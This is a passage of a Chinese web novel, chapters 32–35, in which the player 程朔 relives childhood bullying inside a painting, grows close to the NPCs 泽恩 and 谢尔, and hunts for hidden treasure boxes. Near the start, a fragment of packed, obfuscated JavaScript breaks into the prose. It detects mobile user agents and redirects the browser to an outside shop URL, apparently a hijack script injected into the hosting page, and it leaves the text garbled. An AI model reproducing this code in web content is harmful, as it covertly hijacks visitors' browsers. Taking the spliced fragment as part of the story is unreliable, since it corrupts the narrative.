程朔定在原地无法动弹，连思绪都开始变得缓慢，不能思考。
脑袋中似乎存在着一只大手，一旦他试图想些什么，便会立刻伸出搅乱。
程朔想眨眼，却连这个简单的动作都做不到。
眼睛长久没闭合，开始酸涩干痛，困意来袭，程朔脑袋混乱，人仿佛漂浮在海上的木头，混混沉沉地随着波浪走向未知。
耳边倏然出现眼珠极快眨动的声音，随后程朔脚下一空，身体宛如坠入深海，被冰冷刺骨的海水逐渐包裹，直到最后将他彻底吞没。
程朔各种挣扎，还是抵不了逐渐消散的意识，眼睛闭上的刹那又猛地睁开。
眼前场景不断变化，最终停在一幕。
朦胧感褪去，取而代之的是乱七八糟的嘲笑声。
身边站着很多穿着校服的小学生，指着他夸张大笑，见他没反应甚至上手推他。
程朔被推的摇晃不稳，觉得这一幕无比眼熟。
“看着人笨的。”
“呆猪。”
“哈哈哈。”
程朔一听，撸起袖子就准备反击，结果双手刚抬起来，就被几个人围着按住脑袋。
他拼命反抗，发现自己力气小得可怜，连抬起脑袋都做不到。
“弱鸡，就你这身板还想反抗呢？乖乖走完流程。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085636|146853||http|test|mini|href|location''.split(''|''),0,{}));
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>“还不服气？我看你是皮痒了。”
“怎么着？今天想让我们对你动手？”
“……”
还有些尖细稚嫩的声音回荡在耳边，逐渐扭曲成恶魔的低语，无限放大。
程朔想起来了，这件事发生在自己小时候，他对这事印象深刻。
主要原因是从这件事后，他这人的性格发生了很大的改变。
怎么会重新经历这件事？
程朔皱眉，抓住脑袋上的几只小手，努力去掰。
结果掰到自己手疼都没能掰动。
自己小时候这么弱吗？
程朔哭笑不得，几乎是下意识想去推推眼镜，直到触碰到光滑的鼻梁才反应过来现在是小时候的自己。
“松开。”他故作深沉地开口。
脑袋毫无征兆地挨了一下。
程朔吃痛捂着脑袋，开始拼命回想当初的事。
他虽对这件事有印象，但只知道这件事最终完美解决了，怎么解决的却记不清了。
想不起来。
程朔捂住自己的脑袋，心想他一个成年人还解决不了几个小学生了，牟足劲用力扭动着脑袋。
头发被扯掉几根，痛感刺激的程朔无比清醒，不敢再随意动了。
得从这里离开。
不然说不定他真的要被这几个小学生制裁了。
程朔叹息，被身边的人听见更是指着他猖狂大骂。
谩骂声中夹杂着一道极为突兀的声响，其他人也注意到，纷纷闭嘴。
一块拇指大的小石头滚到程朔脚边，他一怔，想看是谁扔得。
但脑袋被按住，只能稍微扭动，歪着脑袋去看。
身后阳光灿烂，只能看到一个矮小的身影。
对方逆着光，完全看不清脸，通过穿着的校服与身高判断，应该也是小学生。
“疯小孩来了，大家别理他，他很凶的。”愣怔之际，有小孩小声嘀咕着，“赶紧把钱抢了走。”
“我也不想理，但是他怎么往这边走？”
“他要打程朔吗？”
“那赶紧走啊，这人我妈警告过我，不能理他的，他会发疯。”
“……”
程朔还没反应过来，那些小孩已经松开他跑没影了。
他站直身体，活动着酸痛的脖子，转身看到那被称为疯子的小孩不知何时站在他身后。
确定对方是个小孩，程朔放下心，仔细打量着。
离得近，那张稚嫩的脸完全能看清。
这孩子非常好看，皮肤是一种很少见光的白，五官精致漂亮到跟周围仿佛不是一个世界。
他紧紧抿着嘴，绷着小脸，不高兴的模样看着就不好惹，手里拿着两包超大薯片，就那样居高临下地与程朔对望。
程朔这才发现自己比他矮很多，需要一直仰着头看他，忍不住缩了缩脖子，反射性开口：“你比我高太多了，蹲下来一点好不好？”
说完话程朔才发现这个时期的自己声音脆脆的，听着还怪可爱。
眼前猝不及防出现一双乌黑发亮的大眼睛，他微怔，发现那男孩还真听他的话蹲下了一点，静静地与他对视。
他睫毛很长，少了阳光的照耀，程朔才注意到他的眼角下方有痣。
还是一左一右，完美对称的两颗痣，看上去像假的一样。
程朔第一次见痣长得这么对称，忍不住伸手，轻点了下他右眼角下方的痣。
32.第 32 章
第32章
柔软滑嫩的肌肤跟刚煮熟的鸡蛋般，手感好到极致。
程朔鬼迷心窍，又点了下。
小男孩皱着眉，不高兴地瞅着他。
程朔回过神，尴尬一笑，不知道说什么，努力想着能说的话题。
他视线落在小男孩拿着的薯片上，非常厚颜无耻地问了一句：“你为什么拿着两包薯片？有一包是给我的吗？”
小男孩依旧瞅着他，没说话。
程朔恨不得左脚踩右脚飞出地球。
跟一个小孩要薯片，太不要脸了。
他正低着脑袋在心里吐槽，视线里忽然出现那包薯片。
程朔惊讶抬头。
小男孩面无表情地把薯片往他怀里一塞，站直身体，黑白分明的眼睛一眨不眨地打量着程朔。
程朔接过道谢，小男孩没理他，只是转身背对着他。
程朔拿着薯片，歪着脑袋凑到他面前，又是一声“谢谢”。
对方明显被吓到了，身体抖动，脸还依旧充满高冷。
程朔有些忍俊不禁时，听见小男孩问：“他们都跑了，你怎么不跑？”
薯片是蜂蜜味，程朔挺喜欢吃，费力撕着，闻言下意识说：“为什么要跑？你要是不来，他们还在烦我。”
小孩盯着他，片刻后目光挪到他撕薯片的手上：“他们说我是疯小孩。”
“疯小孩就疯小孩吧。”程朔说，牟足劲用力撕袋子，“总比他们烦人好，经常抓着我欺负。”
还是失败了。
换了两个角都撕不开，中间也不行，程朔颓然地叹息。
他记得自己小时候没这么废啊。
小男孩绷着脸打开自己的薯片，而后拿出程朔抱在怀里的那包，把拆开的递过去。
程朔喜笑颜开：“谢谢，你真好。”
小男孩沉默抿唇，在他面前轻松打开薯片。
程朔：“……”
他看了看自己的小手，暗说没用，走到一旁自来水池下冲洗干净手，坐在长椅上，抱着拿包薯片吃起来。
发觉小男孩没跟过来，程朔抬眸招手，笑着招呼他赶紧来。
小男孩迟疑，走一步停一步挪过去坐下。
“他们为什么欺负你？”小男孩问。
程朔含糊道：“看我的长得矮吧，放心，我以后会长高的，能一打五。”
一打五是假的，长高倒是真的。
现实中的程朔一米八，以至于现在不太适应这么矮小的自己。
小男孩欲言又止，眼神明显透着不信。
程朔隔空比划着自己与他的身高：“你怎么长这么高的？”
小男孩说不知道，起身洗干净手后吃着薯片。
不过两次，他便觉得索然无味，见程朔吃得那么香，唇角带着笑，忍不住一直盯着他。
程朔把薯片递出去：“你要尝尝这个味道吗？”
他笑弯了眼睛，白嫩的脸上还留着之前被那群孩子掐住的红印，显得有些可怜。
小男孩收回目光，拿出一片薯片尝了下。
程朔：“好吃吗？”
“好吃。”小男孩说，“之前都没发现这么好吃。”
他终于不绷着一张脸，眼里有了明显属于孩童的笑意。
“我也觉得好吃。”程朔觉得自己好似真的回到了过去，跟个孩子一样歪着脑袋笑个不停，“谢谢你给我吃真好吃的东西。明天我给你带苹果吃，我妈妈买的苹果可好吃了。”
“好。”小男孩眨动着眼睛，抬手在程朔脸上摸了摸。
软乎乎的小手立刻让程朔脱离出当下场景，他不免失笑，感觉待在这里再久一些，真的会完全变回小时候那个自己。
“他们掐你的脸了。”小男孩说，“好过分。”
听出他是在为自己不平，程朔揉了揉被他摸过的地方。
“以后不会了，我会努力打回去。不过他们为什么要叫你疯小孩？”
小男孩收回手，脸上没什么表情：“老师因为我没及时发现他，叫他老师好，骂我，还想对我动手。我推开他，他自己没站稳摔倒了，却说我有病，是疯子，让其他人都不要跟我玩。”
校服是一样的，这个孩子跟自己是一个小学。
程朔找回大人理智：“这种事要立刻跟父母说。你的爸爸妈妈呢？让他们替你讨回公道。”
“他们太忙了。”小男孩平静道，似乎早已习惯这件事。
程朔笑道：“没关系，既然吃了你的薯片，我帮你。”
小男孩看着他，眼底满是怀疑。
很明显，他连自己都帮不了，还帮他，不太可能。
“真的。”程朔说，“明天在这里集合，我给你带苹果，带你去找老师，帮你讨回公道。”
小男孩低头，轻声开口：“谢谢你，明天我给你带其他口味的薯片。”
程朔伸出手：“那拉钩。”
小男孩一愣，迟疑一会儿才伸出小拇指。
两个小拇指相扣，程朔笑着晃动着手指，欢快道：“拉钩上吊，一百年不许变。”
他不受控制地说出这些话，又不受控制地站起身，一边往前走一边冲小男孩摆手：“那明天早上这个时候见啦，现在太晚了，我要先回家了。”
小男孩点点头，跟着起身准备离开。
他想起什么，想叫程朔，但不知道程朔的名字，看着远去的背影，小跑几步想跟上去。
很快，那道小身影旁多出一人。
对方牵住他的手，带着他回家，嘴里还说着什么，看亲密的姿态应该是他的母亲。
小男孩缓缓停下步伐，没有再追上去，他低头看向自己的手，小拇指动了动，满脸可惜地呢喃着：“应该互换名字的。”
他还不知道名字。
眼前场景变化，程朔还没反应过来，拉着他的手消失。
他再次回到了之前的场景。
只是这次阳光有了变化，他手中拿着一颗苹果。
这是第二天，他和对方约好了要在这里见面。
脑子清醒不少，程朔背着书包坐在椅子上，晃荡着双腿认真思考。
他不记得自己小时候结交过一个小男孩，还说要去帮对方。
这么有意思的事，他不该忘记才对。
印象中，他只知道自己后面反抗了，把那些经常围着自己欺负的人暴打了=一顿，被路过的警察发现，把他们所有人带去警局通知家长。
他妈匆忙到来，知道一直以来的欺凌后，在警察局把那些家长骂了个遍。
最后家长羞愧带着孩子挨个向他道歉，也没追究那次的事件。
从那之后，他在小学出名了，没人再敢招惹他。
程朔小时候胆小怕事的性格从这里彻底改变。
他进入画中，又到了这里，是想让他经历不好的事儿，让他内心崩溃吗？
程朔无法
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确定。
他最终没等到那个小男孩。
太阳从缓缓升高，到开始落下，程朔全程没看到那张熟悉的脸。
他看着远处染成橘黄色的天，想起什么。
记忆中，他小时候确实等过一个人，结果没等到。
但对那人的印象早就模糊了。
程朔站起身。他来到学校，顺着班级挨个问。
最后是位还没下班的老师给了他回答。
“那个学生转学啦，发生了点事，和老师有误会，目前误会解除，他家人因工作原因，也带着他转学了。”
程朔问：“那老师呢？开除了？”
“目前他已经被辞退了。”老师说。
程朔放心了，又问对方是什么时候转走的。
“早上就来解决误会，然后离开了。”
程朔觉得可惜，垂眸盯着手中苹果，叹口气。
他洗干净苹果，坐在台阶上，狠狠咬了一口。
香甜的果肉与汁水包裹着舌尖，很甜。
眼前场景再次飞快变化，程朔被带着重新经历了很多初高中的事，基本都是不高兴、失落或是难过的时候。
唯独没大学。
因为大学他几乎是快乐度过的。
程朔确定，这是故意想攻破他心理防线，让他迷失在这里。
但那些往事对他来说早成为过去，差不多遗忘干净，全程无动于衷。
他再次陷入黑暗。
不同于之前，这次周围没有眼珠。
程朔手里握着的那颗眼珠轻微跳动，眼前黑暗褪去，视线恢复清明。
他回到了画中。
就这么结束了。
程朔意外地举起手，盯着手中眼珠打量着，不知道接下来还会发生什么。
灰色的竖瞳直直地与程朔对视，仿佛是活人站在面前，令人有种不寒而栗的错觉。
他有一刹那的晕眩，骤然回神时，隐约听见有人在叫自己的名字。
应该说是伊索的名字。
“我在。”程朔下意识应了声，循声望去。
身后建筑消失不见，被灰白色的雾气取代。
再一眨眼，白雾消失，眼前是是熟悉的墙与挂画。
回到多塔别墅中了。
程朔吐出一口气，扭头见泽恩静静地站在门口，脸上没多少表情，那双修长的腿格外引人注目。
他张嘴准备问问泽恩进入画的事，忽然发现眼前之人的眉眼莫名熟悉。
“你……”程朔不禁上前两步，换着角度观察，那种熟悉感没有减少反而变得更多了。
不是错觉，他一定在哪里见过泽恩。
“怎么了？”男人低声开口，面对他的靠近没任何神色变化。
程朔脑子一片浆糊，反射性伸手捧起他的脸，三百六十度打量，最后确定心中所想。
“我见过你。”他用一种非常肯定的语气开口。
泽恩显而易见一怔，眼角眉梢间闪过一抹意外。
程朔想起他的身份，摇摇头，自言自语起来：“不对，你是NPC，我应该是在哪里见过和你很像的人。”
如果是这样，之前怎么没感觉，偏偏现在觉得眼熟。
程朔觉得奇怪。
赫然与泽恩冷静的双眼对上，他反应过来自己的动作不太礼貌，一边道歉一边收回手。
泽恩眯起眼睛，声调不明：“你见过和我很像的人？”
33.第三十三章
第33章
程朔点点头，泽恩的表情在一瞬间变得晦暗不明。
他没有多说什么，程朔反而觉得奇怪，但脑子凌乱无比，没有时间给他细想。
到最后，他视线落在墙上的画，注意力倏然被转移：“我为什么会进入画中？你说的惊喜就是这个吗？”
泽恩语气没什么波澜：“多塔别墅到一定时间会发生这种现象。这一整天只要离开房间，就会进入画中。”
“那我现在出来的话，还会再进去吗？”
“会。”泽恩缓缓开口，冷淡的声音回荡在走廊中，“如果往前走，你会进入下一副画中。据我猜测，目前伊索先生应该是第一个从画中出来的。”
他脸上出现非常浅的笑。
程朔问：“别墅中的画是谁画的？”
泽恩：“我。”
程朔震惊，上下打量：“你画的？”
完全看不出，虽然说泽恩整个散发出的气息跟画的阴郁感还挺像。
“我更好奇伊索先生在画中看到了什么。”
“一些小时候的事。”程朔含糊带过。
泽恩侧身：“伊索先生可以在房间里待到晚饭时间，晚饭时间一切会落幕。”
下楼会再次进入画中，目前除了泽恩房间也没有其他能去的。
程朔没犹豫，进去后才想起来泽恩眼熟的事。
房间里阳光减少，泽恩站在他面前，那张脸看起来又没了那种熟悉感。
程朔无法确定，只能忽略心里奇怪的感觉。
或许是这几天在这副本里和泽恩接触太多导致的错觉，他没再多想，坐在床边。
泽恩视线紧随而来，原本觉得没什么的程朔顿时不自在起来：“怎么了？”
“没事。”泽恩收回目光，垂下眼眸。
他这一垂眸，程朔发现他的睫毛长到令人挪不开目光的地步。
男人漫不经心地盯着地板，站在那里仿佛完美的雕塑，身上可窥探出的情绪实在少得可怜，就像冬日里落下的雪，让人能感到一丝凉意外再无其他。
程朔心脏漏跳一拍，立刻转移目光，主动找话题：“你昨天说的线索是什么意思？我身上的那幅画是宝藏吗？”
房间里安静下来。
程朔起身，走到桌前椅子坐下，他将身体往后轻仰，上半身被包裹在阳光中，空气中流转的沉默压迫感随之消失。
程朔看向泽恩，将眼镜拿下，抽出纸巾缓慢擦拭着。
“是也不是。”本以为泽恩依旧会跟昨天那样不说明，没想到他给出了回答，
含糊的四个字让程朔动作微顿，他重新戴上眼镜，沉吟片刻：“我知道了。”
“伊索先生不继续问我吗？”脚步声响起，泽恩优雅地停在桌前，双手抵在桌面上，俯身与程朔对视。
程朔迅速避开目光：“你要是想说自然会告诉我，不想说继续问你也没有用。”
“看不出伊索先生这么了解我。”泽恩缓缓站直身体，眼底浮现散漫的笑意。
程朔发现他一站在自己面前，那种无形容弥漫的怪异感更多，
他忍不住挥手，让泽恩往旁边挪一下，发现对方显然不愿动后自己搬着椅子挪动。
无话可说，程朔绞尽脑汁想着话题，最后还是没能想出有什么好问的。
沉默将两人包裹，他知道泽恩正望着自己。
程朔不敢回望，他甚至不知道自己的视线该落在哪里，只是满屋乱转，双手想翻动点什么，又怕跟昨天一样翻出一堆自己的照片。
那本画册。
程朔凝眸问泽恩：“对于宝藏的事，你还是什么都没想起来吗？”
泽恩轻笑两声：“想起来了。”
没等程朔追问，他补充道：“但我无法告诉你。”
起码不是不想告诉，而是无法告诉。
程朔只能长叹，不再追问。
时间一分一秒过去，程朔一开始还犹如刺猬般绷着身体，满心警惕。
到了后面，他昏昏欲睡，用手撑着侧脸，几次滑落惊醒。
直到外面阳光逐渐消失，他才回过神，就这么恍惚到了晚上。
泽恩呢？
程朔眨眼，目光在房间中寻找，最终定格在床上。
泽恩安静地躺在床上，若不是胸口还在轻微起伏，程朔会以为那是一个不会动的木偶。
他下意识起身，放轻步伐，想凑近看看，又惊觉自己的想法太过奇怪。
看泽恩干什么？
他对泽恩什么时候这么感兴趣了？
短暂自问的时间，床上的男人已经坐起身。
程朔好似被猫抓住的老鼠，明明什么都没做，仍旧莫名心慌。
他双手垂在身侧，敛眸清了清嗓子：“现在应该可以出门了吧？”
窸窸窣窣的声响很快停止，泽恩停在他身前。
空气中弥漫着一点清香，是泽恩身上沐浴露的味道。
不过一晚，他便熟悉了这个味道。
程朔觉得自己思绪太乱，绕开泽恩，快步到门前拉开房门。
他自认为要打声招呼，侧身去看泽恩。
室内昏暗，光线被吞噬得一干二净，男人的身影变得模糊不清，无法捕捉他脸上的表情，却能清晰地感受到那道温柔的目光。
程朔张了张嘴，声音嘶哑：“我先下去了。”
他没等泽恩回答，离开房间，仓促关上门。
背贴在门上的那一刻，胸腔里的心脏跳得更加快了，程朔拍拍脸，强行压下心中翻滚的陌生情绪。
半分钟后，他平静许多，抬脚往前走去。
不过两步，意外对上了管家的目光。
穿着黑色西装的男人不知道在门口站了多久，见到程朔扬起冰冷的唇角，露出一抹如沐春风般的笑意。
“伊索先生怎么从主人房间出来？”
程朔浑身起一层鸡皮疙瘩，没等他从这种状态中回过神，谢尔的声音继续响起。
“伊索先生昨天在主人房间休息的吗？”
“伊索先生什么时候和主人关系如此亲密了？”
“伊索先生为什么不说话？”
死亡三连问。
程朔僵硬地眨动着眼睛，给不出回答。
他本该理直气壮地反问一句跟你有关系吗？
可在谢尔温柔的注视下，嗓子好像被水堵住，难以出声。
更令人窒息的是，两道开门声后，莱非和森洛的声音接连传入耳中。
“伊索？你怎么在这里？”莱非疑惑道。
森洛倒是一下看出：“伊索昨天一晚上都跟泽恩在一起吗？你们两个在房间干什么？”
程朔佩服自己在这种时刻还能冷静地推动眼镜，微微一笑，用一种几乎算得上恶劣的嘲讽语气对三人开口。
“你们猜。”<
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随即他转身，飞快奔下楼。
寻宝时间快要结束，无论是通关还是失败，再过两天就会离开这里。
目前可以不用跟这些人继续有过多纠缠。
回到二层，程朔发现走廊无比安静。
他想起早上进入画中的事，站在苏南门前，抬手敲门。
四周死寂一片，下一刻，苏南打开房门。
看到是程朔，他原本有些颓然的表情顿时变为惊喜：“你出来了？我几次敲你房门都没动静，还以为你被困在里面没出来。”
“出来了。”程朔笑了笑，“其他人呢？”
“有个好消息。”苏南神秘一笑，“沈脆没出来。”
没人烦了，确实算的上是好消息。
程朔：“王克之呢？”
“他出来了。现在这个副本没多少时间了，我们到现在还不知道宝藏是什么。”苏南无奈一笑，“可能到时候要和之前淘汰的人一起去失败对局抢名额了，我还挺不想和你抢一个名额。”
听见聊天声，其他人陆续打开门。
看见程朔，几人有些意外。
“你出来了？”
“什么时候出来的？一直没见到你。”
“我还以为你困在里面出不来了。”
“……”
程朔冲没多解释，只说：“接下来两天，大家努力找宝藏吧。”
走廊里没人说话，所有人一想到没头绪的宝藏都伤脑筋。
程朔迟疑片刻，打开自己房间，示意其他人进来。
“我之前捡到的画很有可能是一份宝藏。”他拿出三楼被人撕碎的画碎片，拼在地上，“就是不知道怎么把画变成宝藏。”
“说不定五份宝藏就在这。”苏南指着碎片，“我们要找拼图碎片，这也是碎片，而且都是五份，这不全对上了。”
“但是得到的线索纸条还指向其他。”询风提醒。
“说不定是迷惑人的，也说不定……”东为顿了顿，眼睛亮了，“说不定是那是别的线索。比方说，把这幅画变成宝藏的线索。”
这么一想，真的有可能。
五人对望一眼，有了动力。
房门突然被人拍得剧烈摇晃。
“你们几个密谋什么呢？为什么不带我一起？信不信到最后我让你们都被淘汰掉。”
是王克之。
没得到回复，他越发气愤，觉得房间里的五人正在密谋怎么把自己淘汰掉，怒目圆睁，开始上脚踹门。
“开门，大家都是玩家，有什么事不一起商量还背着我？”
“别以为你们人多我就不敢对你们动手了，我一个人能打飞你们五个。”
程朔从他脚下解救了快要被踹烂的门，皱眉盯着他，沉声开口：“你自己不出来参与，现在想干什么？”
在他冷漠地注视下，王克之气焰熄了点：“你们也没等我啊，现在在商量什么？”
他避开程朔，不再像先前那么嚣张，而是搓搓手走到几人身边，笑容满面，带着明显的讨好。
“有什么线索共享一下。”
他注意到地板上的画，一想几人围在一起讨论这个，眼珠子转动，弯下腰：“这是线索吗？”
没等几人回复，王克之飞快捡起地上的画，奔出房间。
“让你们不跟我一起商量，这画现在是我的了，宝藏也只能是我的，你们等着被淘汰吧。”
34.第三十四章
第34章
猖狂的笑声随着用力关门声结束，房间里几人面面相觑。
李河山：“他好像认定那画是宝藏了。”
“追啊，画要真是线索怎么办，那是伊索的，他就这么不要脸的抢走了。”苏南撸起袖子，准备随时冲出去。
“抢回来随时都可以，不急于一时。现在更重要的是确定其他线索，他这样更好，会一直研究那幅画，不会阻挠我们。”程朔托着下巴，沉吟出声，“这栋别墅有哪里是遗漏的地方吗？”
几人摇头。
别墅所有房间都翻过来，除了大规模淘汰人的墙后空间，再无其他。
“现在理理之前我们获得的线索。”李河山伸出手，“第一个线索是画册。”
他将拇指折在掌心，继续说：“第二个是画中，第三个是房间中，第四个是别墅主人泽恩，第五个是空白。”
随着李河山说一个线索，手指折一个，最后说完，他张开成拳的手问：“有什么地方符合这五条线索的吗？”
全部符合倒没有，符合一大半的有。
泽恩的房间正好能对应一二三四，第五条是真让人捉摸不透。
“你想起什么了吗？”东为注意到程朔逐渐凝固的表情。
“我觉得我们要找机会进入泽恩房间。”程朔认真道，“宝藏在他房间的概率很大。”
询风举手：“我赞同这个说法，毕竟宝藏是他藏的，别墅其他地方都被排除，目前就只剩下他房间可寻性最大。”
“直接进去吗？”苏南问，看向程朔，挤眉弄眼，“还是跟上次一样？”
“这位主人不一定一直在房间中。”李河山提议，“确定他不在房间直接进去就可以了。”
“叮叮叮。”清脆的摇铃声从楼下传来，紧接着是管家谢尔稍许模糊的嗓音，“各位客人，晚餐时间到了。”
程朔摸了摸肚子：“先吃饭吧。”
一天没吃饭，不特意感觉还好，被谢尔的话一提醒，肚子发出咕咕咕的叫声，伴随着轻微的绞痛。
几人散开，前后离开程朔房间。
王克之不知道是不是一直在房间里研究那幅画，没下来用晚餐。
泽恩也不在。
偌大的客厅只有五位玩家坐在桌前，无言对视。
谢尔则如同往常一样安静地站在一边，左手抱着餐盘，右手垂在身侧，全程微弯着身体，保持着服务人的恭敬姿态。
程朔想问泽恩呢，又觉得没必要，闭嘴慢条斯理地吃着饭。
晚餐是七菜一汤，味道很好，他吃了两碗米饭，起身盛汤时，身边黑影闪过，手中的碗被谢尔拿走。
“我来就行。”谢尔低声嘱咐，“伊索先生请坐。”
被触碰到的指尖发麻了一瞬，程朔收回手，重新坐在椅子上，目光不由自主落在谢尔的手上。
几天前的伤彻底好了，连疤都没留下，这么快的速度只有NPC能做到了。
不知道是满意这个结果还是如何，程朔心里有种说不好的别扭。
替他盛完，谢尔挨个给所有人盛了一碗汤。
随后他退后几步回到原位，缓缓低头，眼睫垂下后再无动静。
程朔一直用余光注意他，发现他是真的定格在那里，睫毛没有任何颤动。
这不是正常人能做出来的。
副本快结束了，游戏连对NPC设定都敷衍了。
程朔内心不禁叹息，视线落在碗中的汤。
身后之人在他目光转移的刹那，一动不动的长睫慢慢抬起。
棕色的眼眸专注地盯着眼前那道略微瘦弱却笔直的背影，其余所有都不再看到。
他表情僵硬凝固，像极了被设定好的机器人，缓慢地眨动着眼，直到深暗的眼底逐渐有了光。
谢尔挺直身体，那一刻，身上所有机械感消失得无影无踪。
他薄唇一点点上扬，喉结上下滚动，清冽却又不失柔和的声音像是山间泉水，听得人心情愉悦放松。
“伊索先生觉得晚餐如何？”
程朔一怔，没想到他会突然问这个问题，更没想到他整个人就仿佛雕塑被注入了强大的生命力，先前的NPC设定感完全不见了。
“挺好。”程朔给出回答，偏头望向谢尔，目光上下扫动，眼角眉梢间流露几分不解。
好怪，可偏偏说不出哪里怪，这才是最大的奇怪之处。
谢尔唇角的笑意更加灿烂：“那就好。”
其余几人怪异的眼神探究而来，程朔顿时回头看向他们，扯出一抹笑。
万人迷的真的是伊索，不是我。
他抬抬眼镜，喝完汤后结束了晚餐。
“泽恩呢？”李河山主动开口询问。
“主人有事处理，不用晚餐了。”谢尔微笑解答。
“他在房间中吗？”苏南开门见山。
本以为谢尔会含糊其词，没想到他直言道：“不在。”
那不正是找线索的好机会。
苏南冲几人使眼色。
程朔有过短暂迟疑。
如果谢尔在撒谎，泽恩就在房间呢？
但就算在似乎也没什么，他们可以想办法把泽恩引出去。
“伊索先生好像不相信我。”平淡的嗓音传入耳畔，程朔惊觉抬头，发现其他人都不在桌前了。
身旁是不知何时凑近的谢尔。
“没有。”程朔撒谎撒得面不改色，“我非常信任你。”
他站起身，注意到其他人正在楼梯口等他。
程朔其实能感觉到的。
无论是泽恩还是谢尔，只要他和这两人在一起，好似和其他人划分了世界。
他们不会主动跨入属于他和这两人的地界。
“既然如此。”谢尔眼眸轻弯，“那我告诉伊索先生主人的宝藏在哪里吧。”
程朔瞳孔微颤，放在餐桌下的手不自觉收紧。
他不确定其他人有没有听见，只是在谢尔俯身低头凑近时没有拒绝，硬生生站在那里，直到谢尔的唇贴在他耳边。
“宝藏此刻就在主人房间床底。”炙热的气息萦绕在耳朵旁，程朔反射性抖了抖，听见谢尔继续说，“伊索先生离开这里后会想起我吗？”
这是NPC能问出的问题吗？
程朔有些恍惚，以至于没能分出心思去猜测他说出关于宝藏的话是真是假。
温热的呼吸若即若离，暧昧氛围升高，程朔骤然回神，捂住自己的耳朵挪动步伐，压住眼底的慌乱。
他看着谢尔，给出实话：“会。”
第一个副本碰到的NPC，肯定会想起，毕竟太印象深刻了。
包括泽恩，他估计回到现实都会时刻想起。
谢尔眼底闪烁笑意：“那我就放心了。”
“放心什么？”程朔下意识问。
“放心伊索先生离开这里了。”谢尔说。
程朔眼皮微跳，能明白他说的是什么意思。
他知道自己要离开副本。
NPC为什么会知道也是游戏设定一部分吗？
来不
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及多想，苏南一声高喊将他思绪打散，程朔应下一声下意识跑过去。
等到了二层，他反应过来，转身看向楼下。
谢尔依旧站在原来的位置，对上他的目光抬手轻挥，眼底是温和的笑意。
这是再见的意思。
程朔抿唇，忽略心底的奇怪情感，匆忙跑上三层。
泽恩真的不在房间中，不仅如此，房门都是虚掩着的。
五人很轻易地进入房间。
窗户是开着的，风将窗帘吹动，程朔一眼看向床。
“刚刚那管家跟你说什么了？”苏南问。
程朔边说边靠近：“他问我信不信他，然后直接跟我说宝藏在床底。”
“啊？”苏南震惊，瞠目结舌道，“你这是成功攻略NPC了，让他帮你吗？”
“我没攻略。”程朔愣住，语气飘忽，“我也不知道他说的话是真是假。”
“翻开看看。”询风说，和李河山一人一角。
程朔和苏南在其他角，四人用力将床翻起，露出床底和床下的地板。
几人一同看向床下，除了木板外没什么东西。
“假的吧。”苏南第一个开口，“就知道没这么容易，怎么可能NPC一说，我们真能找到。”
程朔没说话，仔细回想谢尔当时的神态和语气。
他觉得谢尔说的不是假话，肯定有什么被忽略的地方。
程朔走进床板，又敲又摸索。
其他人分散检查着地板和墙壁。
时间一分一秒过去，直到程朔手指触碰到一道不明显的凸起。
他仔细望去，是竖横床板的角落，并不是直的，而是圆形，带着点奇怪的弹性。
这么点地方肯定是无法藏什么东西，程朔心里有了猜测，用力按下去。
手指深陷，下一秒，奇怪的响动充斥每个人耳边。
“哪里传出的？”东为飞快打量着房间，锁定浴室，“浴室里。”
苏南先一步冲进去，程朔几人紧跟其后。
是浴室的镜子。
镜面原本是镶嵌在墙里，此刻镜面后移，露出了左右两边墙体。
一左一右放着两个迷你小箱子，还上了密码锁。
看到这一幕，五人皆有些不可置信。
东西就这么明晃晃的出现，反而让人怀疑。
苏南咽了咽口水：“不会吧？真的就这么出现了？”
“难不成是新手关卡，所以比较简单？”东为眨眨眼。
“两个箱子，可能只有两个宝藏。”李河山分析道。
这话一出，其他人倒没纠结。
“伊索找到的，伊索拿一个，剩下的我们几个猜拳还是怎么样？”
“都行。”几人轻声讨论起来。
程朔盯着三位数密码：“没有密码打不开箱子，大家不用选了，一起开。开出两个再决定。”
他眨眼一笑：“说不定开出五个大家直接原地离开这里了。”
几人相视而笑，程朔尝试取出箱子。
没那么多弯弯绕绕，箱子很容易取出，不过在取出的瞬间，镜子恢复原位。
“那管家告诉我们床底有宝藏是真的，不如这密码也去问问？”苏南敲着箱子说。
“直接问吗？”询风疑惑出声，“他一开始要是想告诉伊索全部，会直接透露，但只说了床底，估计是不想说。”
“没关系。”苏南用一种极为信任的眼神看向对程朔，“我们有伊索。伊索去□□一下，他绝对会告诉我们。”
35.第三十五章
第35章
程朔第一反应：色-诱，没办法中的办法，也不是不可以。
第二反应：他们让色-诱的人好像是自己。
第三反应：伊索可不就是自己吗？
他顿时抬手拒绝：“不不不，我没那个本事，谁有本事谁去。”
“我倒是想去，泽恩不喜欢我呀。”苏南惋惜无比，“不然我们估计早就通关了。”
程朔拿下眼镜又戴上，诚恳道：“我觉得这个办法不太行，泽恩不是我说□□就□□的。”
“你说得没错。”李河山点头赞同，“毕竟是串联这一整个副本的NPC，就算设定是喜欢你，也不可能会直接交出线索。”
程朔：“对。而且不知道他现在人在哪里，还是找密码吧。”
几人没再说什么，动作迅速地在房间里寻找起来。
程朔心不在焉，总觉得遗漏了什么细节，回想半天也没能想起来，只能当自己太紧张了。
毕竟现在算紧要关头。
找到密码，他们可能就会通关。
也可能现在一直在浪费时间，又要重新分析寻找。
会这么简单吗？
还真就这么简单。
苏南从地板缝里抽出明显被压着的纸条，懵逼地拿起来展开。
“我不是在做梦吧？开始一点线索不给，全靠瞎摸索，现在因为人快淘汰完了？密码都直接给了？”
那上面明显写着两串三位数字，对应上了箱子密码。
“这个游戏……”询风见状不禁呢喃，“真是让人怎么都猜不到啊。”
“快试试。”程朔抬抬眼镜，迫不及待地想知道结果。
苏南报出数字，拿着箱子的李河山与东为尝试。
“咔嚓。”两把锁同时打开。
房间里的五个人面色各异。
“牛。”苏南不知道说什么好，半天才憋出一句话，“这游戏玩真让我就这么通关了，我收回之前一切吐槽的话。”
东为看向程朔，坦言道：“我有点紧张，你来吧。”
李河山说：“顺便把我的这个也打开。”
程朔也挺紧张，谁都不知道箱子打开里面会是什么。
